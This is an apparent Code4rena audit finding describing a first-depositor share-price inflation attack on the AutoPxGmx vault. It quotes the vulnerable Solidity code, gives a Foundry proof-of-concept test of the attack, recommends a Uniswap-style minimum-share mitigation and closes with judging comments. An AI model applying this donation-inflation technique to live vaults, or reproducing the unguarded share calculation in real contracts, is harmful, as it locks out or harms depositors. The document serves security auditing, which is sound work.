First depositor who is a whale account can deny later depositors who are smaller accounts from using `AutoPxGmx` contract, such as for depositing GMX for apxGMX

[code423n4]

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/PirexGmx.sol#L378-L412 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L403

Vulnerability details

Impact

A whale account that owns a lot of GMX can call the following PirexGmx.depositGmx function to deposit much GMX for pxGMX. As the first depositor for the AutoPxGmx contract, this account can then call the AutoPxGmx.depositGmx function to deposit 1 wei GMX for apxGMX and transfer a very large amount of pxGMX directly to the AutoPxGmx contract afterwards. This would artificially inflate the apxGMX share price by quite a lot since the total asset amount is increased hugely while the total share supply remains the same. After the apxGMX share price manipulation, calling the AutoPxGmx.depositGmx function by smaller accounts would revert with the ZeroShares error because these accounts' asset amounts corresponding to their GMX deposits are too small comparing to the total asset amount. As a result, the later depositors who are the smaller accounts are denied from using the AutoPxGmx contract, such as for depositing GMX for apxGMX.

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/PirexGmx.sol#L378-L412

    function depositGmx(uint256 amount, address receiver)
        external
        whenNotPaused
        nonReentrant
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        if (amount == 0) revert ZeroAmount();
        if (receiver == address(0)) revert ZeroAddress();

        // Transfer the caller's GMX to this contract and stake it for rewards
        gmx.safeTransferFrom(msg.sender, address(this), amount);
        gmxRewardRouterV2.stakeGmx(amount);

        // Get the pxGMX amounts for the receiver and the protocol (fees)
        (uint256 postFeeAmount, uint256 feeAmount) = _computeAssetAmounts(
            Fees.Deposit,
            amount
        );

        // Mint pxGMX for the receiver (excludes fees)
        pxGmx.mint(receiver, postFeeAmount);

        // Mint pxGMX for fee distribution contract
        if (feeAmount != 0) {
            pxGmx.mint(address(pirexFees), feeAmount);
        }

        emit DepositGmx(msg.sender, receiver, amount, postFeeAmount, feeAmount);

        return (amount, postFeeAmount, feeAmount);
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L403

    function depositGmx(uint256 amount, address receiver)
        external
        nonReentrant
        returns (uint256 shares)
    {
        if (amount == 0) revert ZeroAmount();
        if (receiver == address(0)) revert ZeroAddress();

        // Handle compounding of rewards before deposit (arguments are not used by `beforeDeposit` hook)
        if (totalAssets() != 0) beforeDeposit(address(0), 0, 0);

        // Intake sender GMX
        gmx.safeTransferFrom(msg.sender, address(this), amount);

        // Convert sender GMX into pxGMX and get the post-fee amount (i.e. assets)
        (, uint256 assets, ) = PirexGmx(platform).depositGmx(
            amount,
            address(this)
        );

        // NOTE: Modified `convertToShares` logic to consider assets already being in the vault
        // and handle it by deducting the recently-deposited assets from the total
        uint256 supply = totalSupply;

        if (
            (shares = supply == 0
                ? assets
                : assets.mulDivDown(supply, totalAssets() - assets)) == 0
        ) revert ZeroShares();

        _mint(receiver, shares);

        emit Deposit(msg.sender, receiver, assets, shares);
    }

Proof of Concept

Please add the following test in test\AutoPxGmx.t.sol. This test will pass to demonstrate the described scenario.

    function testFirstDepositorWhoIsWhaleAccountCanDenyLaterDepositorsWhoAreSmallerAccountsFromUsingAutoPxGmx() external {
        // alice is a whale account
        address alice = address(1);
        uint256 amountA = 1_000_000 ether;
        _mintApproveGmx(amountA, alice, address(autoPxGmx), amountA);
        _mintApproveGmx(0, alice, address(pirexGmx), amountA);

        // bob is a smaller account
        address bob = address(2);
        uint256 amountB = 1000 ether; 
        _mintApproveGmx(amountB, bob, address(autoPxGmx), amountB);

        vm.startPrank(alice);

        // alice deposits 1 wei GMX using the AutoPxGmx contract
        autoPxGmx.depositGmx(1, alice);

        // 1 share of apxGMX equals 1 wei pxGMX at this moment
        assertEq(autoPxGmx.previewRedeem(1), 1);

        // alice transfers (1_000_000 ether - 1) pxGMX to the AutoPxGmx contract directly to manipulate the apxGMX share price
        pirexGmx.depositGmx(amountA - 1, alice);
        pxGmx.transfer(address(autoPxGmx), amountA - 1);

        // 1 share of apxGMX equals 1_000_000 ether pxGMX after the apxGMX share price manipulation
        assertEq(autoPxGmx.previewRedeem(1), amountA);

        vm.stopPrank();

        // being a smaller account, bob is now unable to use the AutoPxGmx contract, such as for depositing GMX for apxGMX
        vm.prank(bob);
        vm.expectRevert(AutoPxGmx.ZeroShares.selector);
        autoPxGmx.depositGmx(amountB, bob);
    }

Tools Used

VSCode

Recommended Mitigation Steps

When the first deposit occurs, a pre-determined minimum number of apxGMX shares can be minted to address(0) before minting shares to the first depositor, which is similar to Uniswap V2's implementation.

[c4-judge]

Picodes marked the issue as duplicate of #407

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes changed the severity to 3 (High Risk)

[C4-Staff]

JeeberC4 marked the issue as duplicate of #275